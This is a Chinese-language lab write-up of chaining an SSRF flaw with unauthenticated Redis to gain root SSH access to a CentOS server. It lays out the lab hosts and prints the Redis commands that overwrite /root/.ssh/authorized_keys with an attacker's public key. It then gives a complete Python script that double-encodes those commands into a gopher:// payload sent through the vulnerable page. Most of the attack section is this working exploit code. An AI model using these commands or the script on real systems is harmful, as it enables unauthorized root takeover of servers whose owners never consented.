野径云俱黑,江船火独明。
实验环境
主机 | 角色 | 描述 |
---|---|---|
centos8 | 受害服务器 | 运行redis数据库(未授权访问) |
window10 | 跳板服务器 | 含有ssrf漏洞 |
kali | 攻击者 | 利用ssrf+redis未授权访问写入公钥登录centos8 |
实验准备
思路:
先在自己的主机上生成公私钥对,利用redis的数据备份功能,将自己的公钥写入到目标服务器的/etc/authorized_keys中,然后使用ssh的私钥直接登录目标服务器。
条件:
1、redis服务使用root账号启动,这时候才有切换目录写入文件的权限(实验中可以临时执行sudo -u root /usr/bin/redis-server/etc/redis/redis.conf来以root权限执行)
2、服务器开放了SSH服务,而且允许使用密钥登录,即可以远程写入一个公钥,直接远程登录服务器。
实验过程
kali在本地生产公私钥:

如图所示,成功生成公私钥对。
查看公钥字符串:

构造reids数据包:
功能是将公钥字符串写入到目标服务器的/root/.ssh/authorized_keys文件中
config set dir /root/.ssh/ #切换到指定目录
config set dbfilename authorized_keys #备份数据命名为authorized_keys
set qianxun "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEnwNWKFqDJtta8TD8jHgOZOQY//GM53NluEkGAygMttlPhk/tuwgd5nAUUhRM+jMsgVSlLHduhWTGzXsWgjndCuETwXnKsZiMQNOgGBcwiPZ50W+Fz63Xd0MZAHdInhltjAoMfZX9pBh9kWX3BbXb463cNQGMm1/xU8JParPmgNkt+pJetvjlRCNirSxwxEdR9BwNImcuorotUMkMMSsKXurrmo7QqhWaV6PDgDVGbXc+Nj3ZLdJoSThNXjmdS6miA0Lvli2w4Gl+MTFSm1nQkSfAHPvxcBNLnOj16KScEa7WwetDd9hdbRJOyLdgxT0hbHWjKx7Eb4k7EF9dmobOSSs9k101tEntIes1Y1fa+LAThQwou99SmT7+j6zVj1+6KRiHepnNU3VnoAqZ/A3w+K9OgJvGfN4wx3SNQIyKrnF2UjVysevSpQPQsay1/HLqnNtCgvVz9Hib4ZAW+NBvuWAh/7KL4T9f94vdXU/F4dWd0T+umJ6DHBBi5W44gSE= root@kali\\n\\n" #设置公钥(注意转义)
save #保存
quit #退出
结合构造的redis数据包,编写exp脚本:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote
url = "http://222.24.28.207/ssrf/curl_exec.php?url=" #windows上搭建的ssrf漏洞页面
gopher = "gopher://222.24.28.100:6379/_"
# 攻击脚本
data = """
config set dir /root/.ssh/
config set dbfilename authorized_keys
set qianxun "\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEnwNWKFqDJtta8TD8jHgOZOQY//GM53NluEkGAygMttlPhk/tuwgd5nAUUhRM+jMsgVSlLHduhWTGzXsWgjndCuETwXnKsZiMQNOgGBcwiPZ50W+Fz63Xd0MZAHdInhltjAoMfZX9pBh9kWX3BbXb463cNQGMm1/xU8JParPmgNkt+pJetvjlRCNirSxwxEdR9BwNImcuorotUMkMMSsKXurrmo7QqhWaV6PDgDVGbXc+Nj3ZLdJoSThNXjmdS6miA0Lvli2w4Gl+MTFSm1nQkSfAHPvxcBNLnOj16KScEa7WwetDd9hdbRJOyLdgxT0hbHWjKx7Eb4k7EF9dmobOSSs9k101tEntIes1Y1fa+LAThQwou99SmT7+j6zVj1+6KRiHepnNU3VnoAqZ/A3w+K9OgJvGfN4wx3SNQIyKrnF2UjVysevSpQPQsay1/HLqnNtCgvVz9Hib4ZAW+NBvuWAh/7KL4T9f94vdXU/F4dWd0T+umJ6DHBBi5W44gSE= root@kali\\n\\n"
save
quit
"""
def encoder_url(data):
encoder = ""
for single_char in data:
# 先转为ASCII
encoder += str(hex(ord(single_char)))
encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
return encoder
# 二次编码
encoder = encoder_url(encoder_url(data))
print(encoder)
# 生成payload
payload = url + quote(gopher,'utf-8') + encoder
# 发起请求
request = urllib.request.Request(payload)
response = urllib.request.urlopen(request).read()
print(response)
运行脚本:
切换视角,在centos8上查看:
如图所示,文件已被成功写入!
返回kali,直接用ssh登录centos
成功!
后记
本次实验主要利用的是redis的未授权访问(或者弱口令)以及redis的数据备份功能,将自己的公钥写入目标服务器的/root/.ssh/authorized_keys文件中,直接登录目标服务器。此操作需要redis使用root权限运行,这样才能切换目录写文件,然后服务器必须开启ssh服务,二者缺一不可。